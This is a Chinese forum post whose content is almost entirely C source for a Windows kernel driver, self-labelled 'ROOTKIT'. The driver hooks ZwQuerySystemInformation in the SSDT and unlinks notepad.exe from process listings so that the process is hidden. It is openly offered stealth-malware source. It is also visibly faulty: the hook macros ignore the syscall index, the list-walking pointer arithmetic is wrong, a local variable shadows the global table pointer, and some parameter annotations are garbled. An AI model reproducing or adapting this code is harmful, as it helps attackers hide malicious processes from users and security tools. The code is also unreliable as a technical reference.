三月的天气 发表于 2022-8-13 09:37:52

hook zwQuerySysteminformation 隐藏进程



hook zwQuerySysteminformation 隐藏进程

代码:
#include <ntddk.h>
//#include <windows.h>
typedef unsigned long DWORD;

#pragma pack(1)

typedef      struct ServiceDescriptorEntry{
      unsigned int *ServiceTableBase;
      unsigned int *ServiceCountTableBase;
      unsigned int NumberOfServices;
      unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()

extern "C" __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

//定位基地址
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)(_function)+1)]

//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)(_Function)+1)

//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
      _Orig = (PULONG) InterlockedExchange( (PLONG) &MappedSystemCallTable, (LONG) _Hook)

//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
      InterlockedExchange( (PLONG) &MappedSystemCallTable, (LONG) _Hook)

PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;


typedef struct _SYSTEM_THREAD_INFORMATION {
      LARGE_INTEGER         KernelTime;
      LARGE_INTEGER         UserTime;
      LARGE_INTEGER         CreateTime;
      ULONG                   WaitTime;
      PVOID                   StartAddress;
      CLIENT_ID               ClientId;
      KPRIORITY               Priority;
      LONG                  BasePriority;
      ULONG                   ContextSwitchCount;
      ULONG                   State;
      KWAIT_REASON            WaitReason;
}SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;

typedef struct _SYSTEM_PROCESS_INFORMATION {
      ULONG                   NextEntryOffset;
      ULONG                   NumberOfThreads;
      LARGE_INTEGER         Reserved;
      LARGE_INTEGER         CreateTime;
      LARGE_INTEGER         UserTime;
      LARGE_INTEGER         KernelTime;
      UNICODE_STRING          ImageName;
      KPRIORITY               BasePriority;
      HANDLE                  ProcessId;
      HANDLE                  InheritedFromProcessId;
      ULONG                   HandleCount;
      ULONG                   Reserved2;
      ULONG                   PrivatePageCount;
      VM_COUNTERS             VirtualMemoryCounters;
      IO_COUNTERS             IoCounters;
      SYSTEM_THREAD_INFORMATION         Threads;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

extern      "C"
NTSYSAPI
      NTSTATUS
      NTAPI ZwQuerySystemInformation(
      IN ULONG SystemInformationClass,
      IN PVOID SystemInformation,
      IN ULONG SystemInformationLength,
      OUT PULONG ReturnLength);


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
      ULONG SystemInformationCLass,
      PVOID SystemInformation,
      ULONG SystemInformationLength,
      PULONG ReturnLength
      );

ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;


//我们的hook函数,过滤掉notepad.exe的进程
      NTSTATUS NewZwQuerySystemInformation(
      IN ULONG SystemInformationClass,
      IN PVOID SystemInformation,
      IN ULONG SystemInformationLength,
      OUT PULONG ReturnLength)
{
      NTSTATUS ntStatus;
      ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                SystemInformationClass,
                SystemInformation,
                SystemInformationLength,
                ReturnLength );
      if( NT_SUCCESS(ntStatus))
      {
                // Asking for a file and directory listing
                if(SystemInformationClass == 5)
                {

                        // 列举系统进程链表
                        PSYSTEM_PROCESS_INFORMATION pCurr = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
                        PSYSTEM_PROCESS_INFORMATION pPrev = NULL;


                        while(pCurr)
                        {
                              if (pCurr->ImageName.Buffer != NULL)
                              {
                                        if(0 == memcmp(pCurr->ImageName.Buffer, L"notepad.exe", 22))
                                        {
                                                if(pPrev) // Middle or Last entry
                                                {
                                                      if(pCurr->NextEntryOffset)
                                                                pPrev->NextEntryOffset += pCurr->NextEntryOffset;
                                                      else // we are last, so make prev the end
                                                                pPrev->NextEntryOffset = 0;
                                                }
                                                else
                                                {
                                                      if(pCurr->NextEntryOffset)
                                                      {
                                                                // we are first in the list, so move it forward
                                                                SystemInformation = (UCHAR*)SystemInformation + pCurr->NextEntryOffset;
                                                      }
                                                      else // 唯一的进程
                                                                SystemInformation = NULL;
                                                }
                                        }
                              }
                              pPrev = pCurr;
                              if(pCurr->NextEntryOffset)
                              {
                                        pCurr = pCurr + pCurr->NextEntryOffset;
                              }
                              else
                              {
                                        pCurr = NULL;
                              }
                                       
                        }
                }
      }
      return ntStatus;
}

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
      DbgPrint("ROOTKIT: OnUnload called\n");
      // 卸载hook
      UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );


      // 解索并释放MDL
      if(g_pmdlSystemCall)
      {
                MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
                IoFreeMdl(g_pmdlSystemCall);
      }
}

NTSTATUS DriverEntry(
      __instruct _DRIVER_OBJECT *DriverObject,
      __inPUNICODE_STRING RegistryPath
      )
{
      DWORD * MappedSystemCallTable = NULL;
      DbgPrint("ROOTKIT: Start\n");
      DriverObject->DriverUnload = OnUnload;
      // 初始化全局时间为零
      // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
      m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      OldZwQuerySystemInformation      =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

      g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);      // 储存旧的函数地址

      if(!g_pmdlSystemCall)
      {
                return STATUS_UNSUCCESSFUL;
      }
      MmBuildMdlForNonPagedPool(g_pmdlSystemCall);      // 改变MDL的Flags属性为可写,既然可写当然可读,可执行
      g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
      MappedSystemCallTable = (DWORD*)MmMapLockedPages(g_pmdlSystemCall, KernelMode);         
      // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了

      HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, MappedSystemCallTable );

      return STATUS_SUCCESS;
      return STATUS_SUCCESS;
}

页: [1]
查看完整版本: hook zwQuerySysteminformation 隐藏进程